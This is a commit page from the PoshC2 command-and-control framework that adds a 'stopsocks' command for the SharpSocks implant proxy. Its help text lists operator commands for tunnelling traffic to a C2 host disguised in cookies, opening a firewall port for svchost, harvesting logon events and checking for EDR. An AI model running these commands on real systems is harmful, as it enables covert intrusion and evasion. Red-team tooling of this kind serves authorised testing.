Skip to content

Commit 00faa23

Browse files
benpturnerriskydissonance
authored andcommitted
Updated stopsocks for sharpsocks in C#
1 parent c4bfed9 commit 00faa23

File tree

4 files changed

+5
-2
lines changed

4 files changed

+5
-2
lines changed

poshc2/client/Alias.py

+2-1
Original file line numberDiff line numberDiff line change
@@ -42,5 +42,6 @@
4242
["stopinveigh", "run-dll Inveigh.Program Inveigh StopAll"],
4343
["lockless", "run-exe LockLess.Program LockLess"],
4444
["sharpapplocker", "run-exe SharpApplocker.Program SharpApplocker"],
45-
["sharpedrchecker", "run-exe SharpEDRChecker.Program SharpEDRChecker"]
45+
["sharpedrchecker", "run-exe SharpEDRChecker.Program SharpEDRChecker"],
46+
["stopsocks", "run-dll SharpSocksImplantTestApp.Program SharpSocks StopSocks"]
4647
]

poshc2/client/Help.py

+2
Original file line numberDiff line numberDiff line change
@@ -225,6 +225,7 @@
225225
* Socks:
226226
=========
227227
sharpsocks
228+
stopsocks
228229
run-exe SharpSocksImplantTestApp.Program SharpSocks -url1 /Barbara-Anne/Julissa/Moll/Jolie/Tiphany/Jessa/Letitia -url2 /Barbara-Anne/Julissa/Moll/Jolie/Tiphany/Jessa/Letitia -c raFAdgVujTHBwcvMuRFYgKHqp -k fFaKiMspoTWHPbu3PvUNvpzTkuq+VKDp+h1X79q3gXQ= -s https://10.10.10.1 -b 5000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken
229230
230231
* Bloodhound:
@@ -477,6 +478,7 @@
477478
get-eventlog -newest 10000 -instanceid 4624 -logname security | select message -expandproperty message | select-string -pattern "user1|user2|user3"
478479
send-mailmessage -to "[email protected]" -from "user01 <[email protected]>" -subject <> -smtpserver <> -attachment <>
479480
sharpsocks -uri http://www.c2.com:9090 -beacon 2000 -insecure
481+
stopsocks
480482
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow program="C:\\windows\\system32\\svchost.exe" protocol=TCP localport=80 profile=Domain
481483
reversedns 10.0.0.1
482484
invoke-edrchecker

poshc2/client/command_handlers/SharpHandler.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -251,7 +251,7 @@ def do_sharpsocks(user, command, randomuri):
251251
new_task("run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 1000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken -df %s" % (sharpurl, channel, sharpkey, sharpurls[0].replace("\"", ""), sharpurls[1].replace("\"", ""), dfheader), user, randomuri)
252252
else:
253253
new_task("run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 1000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken" % (sharpurl, channel, sharpkey, sharpurls[0].replace("\"", ""), sharpurls[1].replace("\"", "")), user, randomuri)
254-
print("SharpSocks task issued, note that at present the C# implant has no stopsocks command, so to stop SharpSocks you will have to kill the implant process.")
254+
print("SharpSocks task issued, to stop SharpSocks run stopsocks")
255255

256256

257257
def do_stop_keystrokes(user, command, randomuri):

resources/modules/SharpSocks.exe

0 Bytes
Binary file not shown.

0 commit comments

Comments
 (0)